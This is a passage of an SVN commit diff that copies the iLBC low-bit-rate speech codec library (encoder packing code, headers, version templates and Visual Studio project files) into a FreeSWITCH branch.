+    /* backward prediction of sub-frames */
+    Nback = start - 1;
+
+    if (Nback > 0)
+    {
+        /* Create reverse order vectors */
+        for (n = 0;  n < Nback;  n++)
+        {
+            for (k = 0;  k < SUBL;  k++)
+            {
+                reverseResidual[n*SUBL + k] = residual[(start - 1)*SUBL - 1 - n*SUBL - k];
+                reverseDecresidual[n*SUBL + k] = decresidual[(start - 1)*SUBL - 1 - n*SUBL - k];
+            }
+        }
+
+        /* Setup memory */
+        meml_gotten = SUBL*(iLBCenc_inst->nsub + 1 - start);
+
+
+        if (meml_gotten > CB_MEML)
+            meml_gotten = CB_MEML;
+        for (k = 0;  k < meml_gotten;  k++)
+            mem[CB_MEML - 1 - k] = decresidual[(start - 1)*SUBL + k];
+        memset(mem, 0, (CB_MEML - k)*sizeof(float));
+        memset(weightState, 0, ILBC_LPC_FILTERORDER*sizeof(float));
+
+        /* Loop over sub-frames to encode */
+        for (subframe = 0;  subframe < Nback;  subframe++)
+        {
+            /* Encode sub-frame */
+            iCBSearch(iLBCenc_inst, cb_index+subcount*CB_NSTAGES,
+                      gain_index + subcount*CB_NSTAGES,
+                      &reverseResidual[subframe*SUBL],
+                      mem + CB_MEML - memLfTbl[subcount],
+                      memLfTbl[subcount], SUBL, CB_NSTAGES,
+                      &weightdenum[(start - 2 - subframe)*(ILBC_LPC_FILTERORDER + 1)],
+                      weightState,
+                      subcount + 1);
+
+            /* Construct decoded vector */
+            iCBConstruct(&reverseDecresidual[subframe*SUBL],
+                         cb_index + subcount*CB_NSTAGES,
+                         gain_index + subcount*CB_NSTAGES,
+                         mem + CB_MEML - memLfTbl[subcount],
+                         memLfTbl[subcount],
+                         SUBL,
+                         CB_NSTAGES);
+
+            /* Update memory */
+            memcpy(mem, mem + SUBL, (CB_MEML - SUBL)*sizeof(float));
+            memcpy(mem + CB_MEML - SUBL,
+                   &reverseDecresidual[subframe*SUBL],
+                   SUBL*sizeof(float));
+            memset(weightState, 0, ILBC_LPC_FILTERORDER*sizeof(float));
+
+            subcount++;
+        }
+
+        /* Get decoded residual from reversed vector */
+        for (i = 0;  i < SUBL*Nback;  i++)
+            decresidual[SUBL*Nback - i - 1] = reverseDecresidual[i];
+    }
+
+    /* Adjust index */
+    index_conv_enc(cb_index);
+
+    /* Pack bytes */
+    pbytes = bytes;
+    pos = 0;
+
+    /* Loop over the 3 ULP classes */
+    for (ulp = 0;  ulp < 3;  ulp++)
+    {
+        /* LSF */
+        for (k = 0;  k < LSF_NSPLIT*iLBCenc_inst->lpc_n;  k++)
+        {
+            packsplit(&lsf_i[k],
+                      &firstpart,
+                      &lsf_i[k],
+                      iLBCenc_inst->ULP_inst->lsf_bits[k][ulp],
+                      iLBCenc_inst->ULP_inst->lsf_bits[k][ulp]
+                    + iLBCenc_inst->ULP_inst->lsf_bits[k][ulp + 1]
+                    + iLBCenc_inst->ULP_inst->lsf_bits[k][ulp + 2]);
+            dopack(&pbytes, firstpart, iLBCenc_inst->ULP_inst->lsf_bits[k][ulp], &pos);
+        }
+
+        /* Start block info */
+        packsplit(&start,
+                  &firstpart,
+                  &start,
+                  iLBCenc_inst->ULP_inst->start_bits[ulp],
+                  iLBCenc_inst->ULP_inst->start_bits[ulp]
+                + iLBCenc_inst->ULP_inst->start_bits[ulp + 1]
+                + iLBCenc_inst->ULP_inst->start_bits[ulp + 2]);
+        dopack(&pbytes, firstpart, iLBCenc_inst->ULP_inst->start_bits[ulp], &pos);
+
+        packsplit(&state_first,
+                  &firstpart,
+                  &state_first,
+                  iLBCenc_inst->ULP_inst->startfirst_bits[ulp],
+                  iLBCenc_inst->ULP_inst->startfirst_bits[ulp]
+                + iLBCenc_inst->ULP_inst->startfirst_bits[ulp + 1]
+                + iLBCenc_inst->ULP_inst->startfirst_bits[ulp + 2]);
+        dopack(&pbytes, firstpart, iLBCenc_inst->ULP_inst->startfirst_bits[ulp], &pos);
+
+        packsplit(&idxForMax,
+                  &firstpart,
+                  &idxForMax,
+                  iLBCenc_inst->ULP_inst->scale_bits[ulp],
+                  iLBCenc_inst->ULP_inst->scale_bits[ulp]
+                + iLBCenc_inst->ULP_inst->scale_bits[ulp + 1]
+                + iLBCenc_inst->ULP_inst->scale_bits[ulp + 2]);
+        dopack(&pbytes, firstpart, iLBCenc_inst->ULP_inst->scale_bits[ulp], &pos);
+
+        for (k = 0;  k < iLBCenc_inst->state_short_len;  k++)
+        {
+            packsplit(idxVec + k,
+                      &firstpart,
+                      idxVec + k,
+                      iLBCenc_inst->ULP_inst->state_bits[ulp],
+                      iLBCenc_inst->ULP_inst->state_bits[ulp]
+                    + iLBCenc_inst->ULP_inst->state_bits[ulp + 1]
+                    + iLBCenc_inst->ULP_inst->state_bits[ulp + 2]);
+            dopack(&pbytes, firstpart, iLBCenc_inst->ULP_inst->state_bits[ulp], &pos);
+        }
+
+        /* 23/22 (20ms/30ms) sample block */
+        for (k = 0;  k < CB_NSTAGES;  k++)
+        {
+            packsplit(extra_cb_index + k,
+                      &firstpart,
+                      extra_cb_index + k,
+                      iLBCenc_inst->ULP_inst->extra_cb_index[k][ulp],
+                      iLBCenc_inst->ULP_inst->extra_cb_index[k][ulp]
+                    + iLBCenc_inst->ULP_inst->extra_cb_index[k][ulp + 1]
+                    + iLBCenc_inst->ULP_inst->extra_cb_index[k][ulp + 2]);
+            dopack(&pbytes, firstpart, iLBCenc_inst->ULP_inst->extra_cb_index[k][ulp], &pos);
+        }
+
+        for (k = 0;  k < CB_NSTAGES;  k++)
+        {
+            packsplit(extra_gain_index + k,
+                      &firstpart,
+                      extra_gain_index + k,
+                      iLBCenc_inst->ULP_inst->extra_cb_gain[k][ulp],
+                      iLBCenc_inst->ULP_inst->extra_cb_gain[k][ulp]
+                    + iLBCenc_inst->ULP_inst->extra_cb_gain[k][ulp + 1]
+                    + iLBCenc_inst->ULP_inst->extra_cb_gain[k][ulp + 2]);
+            dopack(&pbytes, firstpart, iLBCenc_inst->ULP_inst->extra_cb_gain[k][ulp], &pos);
+        }
+
+        /* The two/four (20ms/30ms) 40 sample sub-blocks */
+        for (i = 0;  i < iLBCenc_inst->nasub;  i++)
+        {
+            for (k = 0;  k < CB_NSTAGES;  k++)
+            {
+                packsplit(cb_index + i*CB_NSTAGES+k,
+                          &firstpart,
+                          cb_index + i*CB_NSTAGES + k,
+                          iLBCenc_inst->ULP_inst->cb_index[i][k][ulp],
+                          iLBCenc_inst->ULP_inst->cb_index[i][k][ulp]
+                        + iLBCenc_inst->ULP_inst->cb_index[i][k][ulp + 1]
+                        + iLBCenc_inst->ULP_inst->cb_index[i][k][ulp + 2]);
+                dopack(&pbytes, firstpart, iLBCenc_inst->ULP_inst->cb_index[i][k][ulp], &pos);
+            }
+        }
+
+        for (i = 0;  i < iLBCenc_inst->nasub;  i++)
+        {
+            for (k = 0;  k < CB_NSTAGES;  k++)
+            {
+                packsplit(gain_index + i*CB_NSTAGES + k,
+                          &firstpart,
+                          gain_index + i*CB_NSTAGES + k,
+                          iLBCenc_inst->ULP_inst->cb_gain[i][k][ulp],
+                          iLBCenc_inst->ULP_inst->cb_gain[i][k][ulp]
+                        + iLBCenc_inst->ULP_inst->cb_gain[i][k][ulp + 1]
+                        + iLBCenc_inst->ULP_inst->cb_gain[i][k][ulp + 2]);
+                dopack(&pbytes, firstpart, iLBCenc_inst->ULP_inst->cb_gain[i][k][ulp], &pos);
+            }
+        }
+    }
+
+    /* Set the last bit to zero (otherwise the decoder will treat it as a lost frame) */
+    dopack(&pbytes, 0, 1, &pos);
+    return iLBCenc_inst->no_of_bytes;
+}
+
+int ilbc_encode(ilbc_encode_state_t *s,     /* (i/o) the general encoder state */
+                uint8_t bytes[],            /* (o) encoded data bits iLBC */
+                const int16_t amp[],        /* (o) speech vector to encode */
+                int len)
+{
+    int i;
+    int j;
+    int k;
+    float block[ILBC_BLOCK_LEN_MAX];
+
+    for (i = 0, j = 0;  i < len;  i += s->blockl, j += s->no_of_bytes)
+    {
+        /* Convert signal to float */
+        for (k = 0;  k < s->blockl;  k++)
+            block[k] = (float) amp[i + k];
+        ilbc_encode_frame(s, bytes + j, block);
+    }
+    return j;
+}

Copied: freeswitch/branches/seven/libs/ilbc/src/ilbc (from rev 14471, freeswitch/trunk/libs/ilbc/src/ilbc)

Deleted: freeswitch/branches/seven/libs/ilbc/src/ilbc/ilbc.h

Copied: freeswitch/branches/seven/libs/ilbc/src/ilbc/ilbc.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/ilbc/ilbc.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/ilbc/ilbc.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/ilbc/ilbc.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,159 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * ilbc.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Copyright (C) The Internet Society (2004).
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: ilbc.h,v 1.1.1.1 2008/02/15 12:15:55 steveu Exp $
+ */
+
+#if !defined(_ILBC_ILBC_H_)
+#define _ILBC_ILBC_H_
+
+#define ILBC_BLOCK_LEN_20MS     160
+#define ILBC_BLOCK_LEN_30MS     240
+#define ILBC_BLOCK_LEN_MAX      240
+
+#define ILBC_NO_OF_BYTES_20MS   38
+#define ILBC_NO_OF_BYTES_30MS   50
+#define ILBC_NO_OF_BYTES_MAX    50
+
+#define ILBC_NUM_SUB_MAX        6
+
+#define SUBL                    40
+
+#define ENH_BLOCKL              80  /* block length */
+#define ENH_NBLOCKS_TOT         8   /* ENH_NBLOCKS + ENH_NBLOCKS_EXTRA */
+#define ENH_BUFL                (ENH_NBLOCKS_TOT*ENH_BLOCKL)
+
+#define ILBC_LPC_FILTERORDER    10
+#define LPC_LOOKBACK            60
+
+#define CB_NSTAGES              3
+
+#define STATE_BITS              3
+#define BYTE_LEN                8
+#define ILBC_ULP_CLASSES        3
+
+typedef struct
+{
+    int lsf_bits[6][ILBC_ULP_CLASSES + 2];
+    int start_bits[ILBC_ULP_CLASSES + 2];
+    int startfirst_bits[ILBC_ULP_CLASSES + 2];
+    int scale_bits[ILBC_ULP_CLASSES + 2];
+    int state_bits[ILBC_ULP_CLASSES + 2];
+    int extra_cb_index[CB_NSTAGES][ILBC_ULP_CLASSES + 2];
+    int extra_cb_gain[CB_NSTAGES][ILBC_ULP_CLASSES + 2];
+    int cb_index[ILBC_NUM_SUB_MAX][CB_NSTAGES][ILBC_ULP_CLASSES + 2];
+    int cb_gain[ILBC_NUM_SUB_MAX][CB_NSTAGES][ILBC_ULP_CLASSES + 2];
+} ilbc_ulp_inst_t;
+
+/* Type definition encoder instance */
+typedef struct
+{
+    /* flag for frame size mode */
+    int mode;
+
+    /* basic parameters for different frame sizes */
+    int blockl;
+    int nsub;
+    int nasub;
+    int no_of_bytes;
+    int lpc_n;
+    int state_short_len;
+    const ilbc_ulp_inst_t *ULP_inst;
+
+    /* analysis filter state */
+    float anaMem[ILBC_LPC_FILTERORDER];
+
+    /* old lsf parameters for interpolation */
+    float lsfold[ILBC_LPC_FILTERORDER];
+    float lsfdeqold[ILBC_LPC_FILTERORDER];
+
+    /* signal buffer for LP analysis */
+    float lpc_buffer[LPC_LOOKBACK + ILBC_BLOCK_LEN_MAX];
+
+    /* state of input HP filter */
+    float hpimem[4];
+} ilbc_encode_state_t;
+
+/* Type definition decoder instance */
+typedef struct
+{
+    /* Flag for frame size mode */
+    int mode;
+
+    /* Basic parameters for different frame sizes */
+    int blockl;
+    int nsub;
+    int nasub;
+    int no_of_bytes;
+    int lpc_n;
+    int state_short_len;
+    const ilbc_ulp_inst_t *ULP_inst;
+
+    /* Synthesis filter state */
+    float syntMem[ILBC_LPC_FILTERORDER];
+
+    /* Old LSF for interpolation */
+    float lsfdeqold[ILBC_LPC_FILTERORDER];
+
+    /* Pitch lag estimated in enhancer and used in PLC */
+    int last_lag;
+
+    /* PLC state information */
+    int prevLag, consPLICount, prevPLI, prev_enh_pl;
+    float prevLpc[ILBC_LPC_FILTERORDER + 1];
+    float prevResidual[ILBC_NUM_SUB_MAX*SUBL];
+    float per;
+    unsigned long seed;
+
+    /* Previous synthesis filter parameters */
+    float old_syntdenum[(ILBC_LPC_FILTERORDER + 1)*ILBC_NUM_SUB_MAX];
+
+    /* State of output HP filter */
+    float hpomem[4];
+
+    /* Enhancer state information */
+    int use_enhancer;
+    float enh_buf[ENH_BUFL];
+    float enh_period[ENH_NBLOCKS_TOT];
+} ilbc_decode_state_t;
+
+ilbc_encode_state_t *ilbc_encode_init(ilbc_encode_state_t *s,    /* (i/o) Encoder instance */
+                                      int mode);                 /* (i) frame size mode */
+
+int ilbc_encode(ilbc_encode_state_t *s,         /* (i/o) the general encoder state */
+                uint8_t bytes[],                /* (o) encoded data bits iLBC */
+                const int16_t amp[],            /* (o) speech vector to encode */
+                int len);
+
+ilbc_decode_state_t *ilbc_decode_init(ilbc_decode_state_t *s,   /* (i/o) Decoder instance */
+                                      int mode,                 /* (i) frame size mode */
+                                      int use_enhancer);        /* (i) 1 to use enhancer
+                                                                       0 to run without enhancer */
+
+int ilbc_decode(ilbc_decode_state_t *s,     /* (i/o) the decoder state structure */
+                int16_t amp[],              /* (o) decoded signal block */
+                const uint8_t bytes[],      /* (i) encoded signal bits */
+                int len);
+
+int ilbc_fillin(ilbc_decode_state_t *s,     /* (i/o) the decoder state structure */
+                int16_t amp[],              /* (o) decoded signal block */
+                int len);
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/ilbc/version.h

Copied: freeswitch/branches/seven/libs/ilbc/src/ilbc/version.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/ilbc/version.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/ilbc/version.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/ilbc/version.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,37 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * version.h - A tag file, so the exact installed revision can be assertained.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2007 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the Lesser GNU General Public License version 2.1, as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: version.h.in,v 1.1.1.1 2008/02/15 12:15:55 steveu Exp $
+ */
+
+#if !defined(_VOIPCODECS_VERSION_H_)
+#define _VOIPCODECS_VERSION_H_
+
+/* The date and time of the version are in UTC form. */
+
+#define VOIPCODECS_RELEASE_DATE    $VOIPCODECS_RELEASE_DATE
+#define VOIPCODECS_RELEASE_TIME    $VOIPCODECS_RELEASE_TIME
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/ilbc/src/ilbc/version.h.in

Copied: freeswitch/branches/seven/libs/ilbc/src/ilbc/version.h.in (from rev 14471, freeswitch/trunk/libs/ilbc/src/ilbc/version.h.in) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/ilbc/version.h.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/ilbc/version.h.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,37 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * version.h - A tag file, so the exact installed revision can be assertained.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2007 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the Lesser GNU General Public License version 2.1, as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: version.h.in,v 1.1.1.1 2008/02/15 12:15:55 steveu Exp $
+ */
+
+#if !defined(_VOIPCODECS_VERSION_H_)
+#define _VOIPCODECS_VERSION_H_
+
+/* The date and time of the version are in UTC form. */
+
+#define VOIPCODECS_RELEASE_DATE    $VOIPCODECS_RELEASE_DATE
+#define VOIPCODECS_RELEASE_TIME    $VOIPCODECS_RELEASE_TIME
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/ilbc/src/ilbc.h.in

Copied: freeswitch/branches/seven/libs/ilbc/src/ilbc.h.in (from rev 14471, freeswitch/trunk/libs/ilbc/src/ilbc.h.in) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/ilbc.h.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/ilbc.h.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,37 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * ilbc.h - The head guy amongst the headers
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: ilbc.h.in,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#if !defined(_ILBC_H_)
+#define _ILBC_H_
+
+@ILBC_USE_FIXED_POINT@
+
+#include <stdlib.h>
+@INSERT_INTTYPES_HEADER@
+#include <string.h>
+#include <limits.h>
+#include <time.h>
+@INSERT_MATH_HEADER@
+
+#include <ilbc/ilbc.h>
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/ilbc/src/libilbc.dsp

Copied: freeswitch/branches/seven/libs/ilbc/src/libilbc.dsp (from rev 14471, freeswitch/trunk/libs/ilbc/src/libilbc.dsp) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/libilbc.dsp	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/libilbc.dsp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,197 @@
+# Microsoft Developer Studio Project File - Name="ilbc" - Package Owner=<4>
+# Microsoft Developer Studio Generated Build File, Format Version 6.00
+# ** DO NOT EDIT **
+
+# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
+
+CFG=ilbc - Win32 Debug
+!MESSAGE This is not a valid makefile. To build this project using NMAKE,
+!MESSAGE use the Export Makefile command and run
+!MESSAGE 
+!MESSAGE NMAKE /f "ilbc.mak".
+!MESSAGE 
+!MESSAGE You can specify a configuration when running NMAKE
+!MESSAGE by defining the macro CFG on the command line. For example:
+!MESSAGE 
+!MESSAGE NMAKE /f "ilbc.mak" CFG="ilbc - Win32 Debug"
+!MESSAGE 
+!MESSAGE Possible choices for configuration are:
+!MESSAGE 
+!MESSAGE "ilbc - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE "ilbc - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE 
+
+# Begin Project
+# PROP AllowPerConfigDependencies 0
+# PROP Scc_ProjName ""
+# PROP Scc_LocalPath ""
+CPP=cl.exe
+MTL=midl.exe
+RSC=rc.exe
+
+!IF  "$(CFG)" == "ilbc - Win32 Release"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 0
+# PROP BASE Output_Dir "Release"
+# PROP BASE Intermediate_Dir "Release"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 0
+# PROP Output_Dir "Release"
+# PROP Intermediate_Dir "Release"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /YX /FD /c
+# ADD CPP /nologo /MT /W3 /GX /Zi /O2 /I "." /I "..\include" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /D "_WINDLL" /FR /FD /c
+# SUBTRACT CPP /YX
+# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "NDEBUG"
+# ADD RSC /l 0x409 /d "NDEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
+# ADD LINK32 kernel32.lib ws2_32.lib winmm.lib /nologo /dll /map /debug /machine:I386 /out:"Release/libilbc.dll"
+
+!ELSEIF  "$(CFG)" == "ilbc - Win32 Debug"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 1
+# PROP BASE Output_Dir "Debug"
+# PROP BASE Intermediate_Dir "Debug"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 1
+# PROP Output_Dir "Debug"
+# PROP Intermediate_Dir "Debug"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /YX /FD /GZ /c
+# ADD CPP /nologo /MTd /W3 /Gm /GX /Zi /Od /I "." /I "..\include" /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /FR /FD /GZ /c
+# SUBTRACT CPP /WX /YX
+# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "_DEBUG"
+# ADD RSC /l 0x409 /d "_DEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
+# ADD LINK32 kernel32.lib ws2_32.lib winmm.lib /nologo /dll /incremental:no /map /debug /machine:I386 /out:"Debug/libilbc.dll" /pdbtype:sept
+# SUBTRACT LINK32 /nodefaultlib
+
+!ENDIF 
+
+# Begin Target
+
+# Name "ilbc - Win32 Release"
+# Name "ilbc - Win32 Debug"
+# Begin Group "Source Files"
+# Begin Source File
+
+SOURCE=.\bit_operations.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\bitstream.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\g711.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\g722_encode.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\g722_decode.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\g726.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\gsm0610_decode.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\gsm0610_encode.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\gsm0610_long_term.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\gsm0610_lpc.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\gsm0610_preprocess.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\gsm0610_rpe.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\gsm0610_short_term.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\ima_adpcm.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\lpc10_analyse.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\lpc10_decode.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\lpc10_encode.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\lpc10_placev.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\lpc10_voicing.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\oki_adpcm.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\vector_int.c
+# End Source File
+# Begin Source File
+
+SOURCE=.\ilbc/bit_operations.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\ilbc.h
+# End Source File
+# Begin Source File
+
+SOURCE=.\ilbc.h
+# End Source File
+# End Group
+
+# Begin Group "Resource Files"
+
+# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
+# End Group
+# End Target
+# End Project

Deleted: freeswitch/branches/seven/libs/ilbc/src/libilbc.sln

Copied: freeswitch/branches/seven/libs/ilbc/src/libilbc.sln (from rev 14471, freeswitch/trunk/libs/ilbc/src/libilbc.sln) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/libilbc.sln	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/libilbc.sln	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,29 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libilbc", "libilbc.vcproj", "{CF70F278-3364-4395-A2E1-23501C9B8AD2}"
+	ProjectSection(ProjectDependencies) = postProject
+		{1CED5987-A529-46DC-B30F-870D85FF9C94} = {1CED5987-A529-46DC-B30F-870D85FF9C94}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "at_dictionary_gen", "src\msvc\at_dictionary_gen.vcproj", "{1CED5987-A529-46DC-B30F-870D85FF9C94}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Win32 = Debug|Win32
+		Release|Win32 = Release|Win32
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Debug|Win32.ActiveCfg = Debug|Win32
+		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Debug|Win32.Build.0 = Debug|Win32
+		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Release|Win32.ActiveCfg = Release|Win32
+		{CF70F278-3364-4395-A2E1-23501C9B8AD2}.Release|Win32.Build.0 = Release|Win32
+		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Debug|Win32.ActiveCfg = Debug|Win32
+		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Debug|Win32.Build.0 = Debug|Win32
+		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Release|Win32.ActiveCfg = Release|Win32
+		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Release|Win32.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

Deleted: freeswitch/branches/seven/libs/ilbc/src/lsf.c

Copied: freeswitch/branches/seven/libs/ilbc/src/lsf.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/lsf.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/lsf.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/lsf.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,269 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * lsf.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: lsf.c,v 1.2 2008/03/06 12:27:38 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <string.h>
+#include <math.h>
+
+#include "iLBC_define.h"
+#include "lsf.h"
+
+/*----------------------------------------------------------------*
+ *  conversion from lpc coefficients to lsf coefficients
+ *---------------------------------------------------------------*/
+
+void a2lsf(float *freq,     /* (o) lsf coefficients */
